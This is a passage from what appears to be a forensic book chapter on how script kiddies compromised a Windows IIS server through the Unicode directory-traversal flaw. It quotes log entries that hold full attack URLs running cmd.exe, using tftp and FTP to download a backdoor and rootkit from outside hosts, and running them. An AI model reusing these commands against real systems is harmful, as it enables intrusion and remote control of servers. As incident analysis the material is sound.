Before we get into the second part of this story, it is important that you understand the methods and tricks that the hackers used when they attempted to take over this server. While I say that this server was owned by more than 10 hackers, they all used the same basic vulnerability and method of attack to gain access to the server. In fact, some of the hackers used the same basic scripts to deal with the details of installing the root kit, saving them from having to manually type the commands.
By far, this server was mostly owned by script kiddies, not true hackers. While the terms are often blurred, these so-called "hackers" were not out to control the data or programs on the server. In fact, I would be willing to bet that not one of them directly targeted this server, but they all discovered it as a result of a vulnerability scanner. Then, depending on the scanner or script used to detect the vulnerability, they either came back and took advantage of the Unicode exploit to install their root kit or they had the root kit installed by the script for them. These root kits often come prepackaged and ready to go, so a "hack" can take as little as three commands and can occur in less than 5 seconds. The first step is to test the server for the vulnerability, the second is to download the root kit to the server, and the third is to install the back door on the server. To illustrate, the URLs in Listing 7 (as found in the Web server's log files) illustrate this three-part hack.
Listing 1-7: The Minimal URLs Required to Own a Server with the Unicode Vulnerability
http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, /c+dir+c:\ http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, /c+tftp+i+XX.XX.XX.XX+backdoor.exe+c:\backdoor.exe http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, /c+c:\backdoor.exe
While this is one example, most scripts involve a sequence of more complicated steps before the server is owned. The following illustrates another hack attack and explains what each step does and why it is used. We will discuss these parts in the order in which they are most likely performed.
The first part of any hack attack is to gain access to the server. This is required so that the root kit can be downloaded. Fortunately for a hacker, there are thousands of potentially exploitable back doors. In the case of my client's server, hackers used the Unicode vulnerability to gain control of the Web server software. The following log entry shows one such script probing for the Unicode vulnerability on my client's server. (Note: This is one log entry, but it was broken into three lines due to display requirements.) I am assuming that this is a script because the log file shows mere seconds between command. In other words, this is either a very quick-typing hacker or a script that automates the hacking process.
217.153.XXX.XX, -, 10/30/02, 18:24:06, W3SVC, EXCHANGE, 64.3.XXX.XX, 32, 149, 2079, 200, 0, GET, /scripts/..%5c..%5cwinnt/system32/cmd.exe, /c+dir+c:\+,
As we look as this log entry, we can see where the request was coming from, where it was targeted to, and the URL that was sent. Here we see a variation on the Unicode vulnerability that simply lists the c:\ directory on the victim. The results will be sent back to the client computer (Hacker), which is basically testing to see if the server is vulnerable.
The next step of the process is to download a root kit and other files needed to gain control of the server. Again, our log file provides us with a good example. In this case, the script creates a file used to FTP the files down to the server. Due to the numerous files downloaded to the server, there was about one page of log entries; therefore, we have taken the liberty of summarizing them.
First, the script creates a new folder hidden within the c:\Inetpub directory into which the root kit is eventually placed:
217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, 64.3.xxx.xxx, 16, 177, 304, 200, 0, GET, /scripts/ ..%5c..%5cwinnt/system32/cmd.exe, /c+mkdir+c:\Inetpub\ mailroot\drop\temp+,
Next the script creates a copy of the cmd.exe file and places it in a newly created directory:
217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, 64.3.xxx.xxx, 62, 211, 331, 200, 0, GET, /scripts/ ..%5c..%5cwinnt/system32/cmd.exe, /c+copy+ c:\winnt\system32\cmd.exe+c:\Inetpub\mailroot\drop\temp\doit.exe+,
Now the script ensures that there is no pre-existing file named default.txt in the folder by deleting any file by this name that does exist (another hint this is a script):
217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, 64.3.xxx.xxx, 141, 200, 362, 200, 0, GET, /scripts/ ..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+del+c:\Inetpub\mailroot\drop\temp\default.txt+,
Then the script creates a new default.txt file and starts writing lines of text into it.
217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, 64.3.xxx.xxx, 16, 221, 304, 200, 0, GET, /scripts/ ..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+echo+open+ 126.96.36.199+>>c:\Inetpub\mailroot\drop\temp\default.txt+,
Using the same general URL, the lines in Listing 8 were also written into the default.txt file.
Listing 1-8: Text Lines Written to the default.txt File
Open 65.40.xxx.xxx user anonymous >> default.txt echo email@example.com >> default.txt echo cd+rapport/backup >> default.txt get reboot.exe >> default.txt get TzoLibr.dll >> default.txt echo get ServUDaemon.ini >> default.txt echo get ServUCert.key >> default.txt get ServUCert.crt >> default.txt get rundlls32.exe >> default.txt echo get ncx99.exe >> default.txt echo get kill.exe >> default.txt echo get tasklist.exe >>default.txt echo quit >> default.txt
Once all the lines were written to the file, it is easy to see that the script creates a complete FTP command file. The next URL that the script sends to the server includes a command to execute FTP, using this file as its command list:
217.153.xxx.xxx, -, 10/30/02, 18:34:31, W3SVC, EXCHANGE, 64.3.xxx.xxx, 525250, 212, 304, 200, 0, GET, /scripts/ ..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+ftp+-i+-v+-n+-s: c:\Inetpub\mailroot\drop\temp\default.txt+,
Next the attack script continues to check the progress of the download by using a URL containing a dir command to list the files in the folder. Once the script detects the existence of all the files it expects to be downloaded, it builds another file used to set up a back-door FTP server. In this case, the script will be using Servu-FTP, which is the most common FTP server used by hackers.
In short, the FTP setup file, named servustartuplog.txt, must contain paths to the directories that it will be providing access to. To maximize the impact of the serving capabilities, the script simply lists every drive letter from c to z. If there is a CD-ROM or mapped drive on the server, all the better for the hacker who uses the FTP server.
The final step in this process is to execute the recently downloaded files, which set up and install the FTP server, and create and install the back-door ncx99.exe file. This is done using another URL using a call command, or through directly executing the executable on the host. The server is now owned. Depending on the script, some of the installation files may be deleted and log files may be wiped. Regardless, it takes only a few minutes to download and install a fully operational root kit that provides file-sharing and remote-control capabilities to any hacker who connects.